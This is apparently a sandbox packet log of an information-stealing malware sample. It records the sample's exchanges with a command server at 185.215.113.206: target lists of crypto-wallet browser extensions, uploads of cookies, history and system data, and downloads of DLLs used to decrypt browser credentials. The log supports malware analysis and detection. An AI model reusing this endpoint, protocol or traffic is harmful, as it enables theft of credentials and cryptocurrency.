Oct 31, 2024 17:26:05.126631975 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 31, 2024 17:26:05.128473997 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Oct 31, 2024 17:26:05.134018898 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 2d 2d 0d 0a Data Ascii: ------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="message"fplugins------BKJEHCAKFBGDGCAAAFBG--
Oct 31, 2024 17:26:05.417133093 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 31, 2024 17:26:05.436930895 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGC Host: 185.215.113.206 Content-Length: 7991 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 17:26:05.436984062 CET	7991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 Data Ascii: ------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 31, 2024 17:26:06.237175941 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 17:26:06.524843931 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 17:26:06.804063082 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 31, 2024 17:26:06.804352045 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 31, 2024 17:26:06.804373026 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 31, 2024 17:26:06.805984020 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	62829	185.215.113.206	80	7432	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 17:26:19.924154043 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECA Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 17:26:19.924228907 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 Data Ascii: ------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 31, 2024 17:26:21.338068962 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 17:26:21.471801043 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBGHDBKEBGIDHJJEHCA Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 17:26:21.471878052 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 Data Ascii: ------AEBGHDBKEBGIDHJJEHCAContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------AEBGHDBKEBGIDHJJEHCAContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Oct 31, 2024 17:26:22.265897989 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 17:26:22.281363010 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="file"------DBKFHJEBAAEBGDGDBFBG--
Oct 31, 2024 17:26:23.049338102 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 17:26:23.401063919 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="file"------HDBGHDHCGHCAAKEBKECB--
Oct 31, 2024 17:26:24.185962915 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 17:26:24.417895079 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 17:26:24.704610109 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 31, 2024 17:26:24.704624891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Oct 31, 2024 17:26:24.704636097 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Oct 31, 2024 17:26:24.704750061 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Oct 31, 2024 17:26:24.704761982 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Oct 31, 2024 17:26:24.704773903 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Oct 31, 2024 17:26:24.704786062 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Oct 31, 2024 17:26:24.704993010 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Oct 31, 2024 17:26:24.705004930 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Oct 31, 2024 17:26:27.795475006 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 17:26:28.073667049 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 31, 2024 17:26:29.740489960 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 17:26:30.019848108 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 31, 2024 17:26:30.770134926 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
